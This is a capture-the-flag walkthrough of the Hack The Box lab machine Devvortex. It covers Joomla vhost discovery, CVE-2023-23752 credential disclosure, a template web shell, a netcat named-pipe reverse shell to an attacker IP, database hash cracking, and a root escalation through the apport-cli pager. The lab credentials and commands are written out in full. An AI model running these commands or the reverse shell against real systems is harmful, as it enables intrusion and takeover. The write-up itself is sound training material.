HTB: Devvortex

Overview

Devvortex is an easy Linux machine that demonstrates how virtual-host discovery can expose a vulnerable Joomla installation. An unauthenticated information disclosure vulnerability reveals administrative credentials, which are used to modify a Joomla template and gain command execution. Database enumeration then exposes a reusable user password, while an unsafe sudo rule for apport-cli provides the final path to root.

Attack Chain

• Enumerate the exposed SSH and HTTP services
• Discover the dev.devvortex.htb virtual host with ffuf
• Identify Joomla 4.2.6 through joomscan and the Joomla manifest
• Exploit CVE-2023-23752 to disclose Joomla configuration credentials
• Authenticate to the Joomla administrator panel
• Modify the Cassiopeia template and deploy a PHP web shell
• Catch a reverse shell as www-data
• Enumerate the local Joomla MySQL database
• Recover and crack the logan password hash
• Gain SSH access as logan
• Abuse sudo access to apport-cli
• Escape the less pager and spawn a root shell

Enumeration

Port Scanning

We start by defining the target and running a full TCP port scan to identify the exposed services.

export IP=10.129.2.236; export NAME=DEVVORTEX; echo $IP; echo $NAME; ping $IP -c 1

nmap --min-rate 4500 --max-rtt-timeout 1500ms $IP -p- -v -oA scans/nmap_allports_$NAME

ports=$(cat scans/nmap_allports_$NAME.nmap | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//); echo $ports

The open TCP ports are:

22,80

We then run a service and version scan against the discovered ports.

nmap $IP -p$ports -A -oA scans/nmap_initial_$NAME -v

Findings

The target exposes SSH (22) and an HTTP (80) web service. The hostname devvortex.htb is added to /etc/hosts so the site can be accessed by name.

echo "$IP devvortex.htb" | sudo tee -a /etc/hosts

Web Enumeration

Main Website

Browsing to http://devvortex.htb reveals a website for a web development company.

The site does not expose an obvious attack surface, so we begin by looking for additional virtual hosts.

Virtual Host Discovery

We use ffuf to fuzz the Host header for subdomains of devvortex.htb.

ffuf -u http://devvortex.htb -c -ic -H "HOST: FUZZ.devvortex.htb" -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -t 100 -mc all -fs 154

The scan identifies the dev virtual host.

We add it to /etc/hosts.

echo "$IP dev.devvortex.htb" | sudo tee -a /etc/hosts

Browsing to http://dev.devvortex.htb reveals a second web development site.

Directory Enumeration

We enumerate the development site with dirsearch.

dirsearch -u http://dev.devvortex.htb -t 100 -o ./scans/dirsearch_${NAME}_subd_DEV_default.txt

Several interesting endpoints are discovered immediately.

The results are separated by status-code range with awk to make them easier to review.

The successful 200 responses include accessible Joomla resources.

The 300 responses reveal additional redirects and application paths.

Joomla Identification

Navigating to /administrator presents a Joomla administrator login page.

We enumerate the installation with joomscan.

joomscan -u http://dev.devvortex.htb

The scan identifies Joomla version 4.2.6.

The version can also be confirmed by browsing to the Joomla manifest at:

http://dev.devvortex.htb/administrator/manifests/files/joomla.xml

Joomla 4.2.6 is affected by CVE-2023-23752, an unauthenticated information disclosure vulnerability that can expose configuration data through the Joomla API.

https://github.com/Acceis/exploit-CVE-2023-23752

Foothold

Joomla Information Disclosure

After installing the Ruby dependencies listed by the exploit repository, we run the proof of concept against the development virtual host.

ruby joomla_exp1_1.rb http://dev.devvortex.htb

The response exposes a Joomla username and password.

lewis:P4ntherg0t1n5r3c0n##

Joomla Administrator Access

The disclosed credentials work on the Joomla administrator login page.

This gives us access to the Joomla administration dashboard.

Template Modification

Joomla administrators can edit template files through the web interface. We open the Cassiopeia template and select error.php as the file to modify.

The original file is replaced with the wwwolf-php-webshell code.

The modified template can be reached at:

http://dev.devvortex.htb/templates/cassiopeia/error.php

The web shell executes commands successfully.

Reverse Shell

We start a penelope listener on port 443 and execute a named-pipe Netcat reverse shell through the web shell.

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.189 443 >/tmp/f

The listener receives a shell as www-data.

Lateral Movement

Local Service Enumeration

From the www-data shell, we inspect listening services.

ss -ntplu

Ports 3306 and 33060 are listening only on localhost, indicating a local MySQL service.

The credentials disclosed by the Joomla exploit also work against the local database.

mysql -h localhost -u lewis -pP4ntherg0t1n5r3c0n##

Joomla Database Enumeration

We list the available databases and select the Joomla database.

show databases;
use joomla;

Next, we enumerate the tables.

show tables;

The table list continues with several user-related entries.

The sd4fg_users table contains the Joomla user records.

select * from sd4fg_users;

This exposes usernames and password hashes.

We reduce the output to the two relevant columns.

select username,password from sd4fg_users;

Cracking logan

The hash belonging to logan is copied into a local file on the attacking machine.

We attempt to crack it with john and the rockyou.txt wordlist.

john --wordlist=/usr/share/wordlists/rockyou.txt creds/logan.hash

The password is recovered successfully.

logan:tequieromucho

SSH Access

The credentials are tested against SSH.

ssh logan@$IP

This gives us an interactive shell as logan.

The user flag can now be read.

cat /home/logan/user.txt

Privilege Escalation

Sudo Enumeration

We check the commands that logan can execute with elevated privileges.

sudo -l

The user is allowed to run /usr/bin/apport-cli as root.

We check the installed version.

sudo /usr/bin/apport-cli --version

The target is running version 2.20.11.

apport-cli Pager Escape

The installed apport-cli version is vulnerable to local privilege escalation through CVE-2023-1326. When crash information is displayed, apport-cli invokes a pager such as less. Because the program is being run through sudo, commands launched from the pager inherit root privileges.

https://nvd.nist.gov/vuln/detail/CVE-2023-1326

To trigger the report workflow, we first identify a process owned by logan.

ps -ux

We select the systemd process with PID 1111 and invoke apport-cli in file-bug mode. The -P option specifies the process ID.

sudo /usr/bin/apport-cli -f -P 1111

We answer Yes to the prompts and select the option to view the generated report.

Viewing the report launches less. Commands can be executed from less by prefixing them with !, so we spawn a Bash shell.

!/bin/bash

The resulting shell is running as root.

The root flag can now be read.

cat /root/root.txt

Key Takeaways

Devvortex shows how a small amount of web enumeration can reveal an entirely separate application through virtual-host discovery. An outdated Joomla installation exposed administrative credentials, and the ability to edit template files turned those credentials into remote code execution. Local database access then exposed a reusable system password, while an overly permissive sudo rule allowed apport-cli to launch a privileged pager and escape directly to a root shell.